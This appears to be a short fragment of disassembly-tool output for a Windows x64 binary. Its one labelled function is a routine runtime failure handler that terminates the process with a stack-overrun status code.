mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x14017fcd1
Capabilities:
Terminate process

Disassembly:
jmp 0x140357e80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret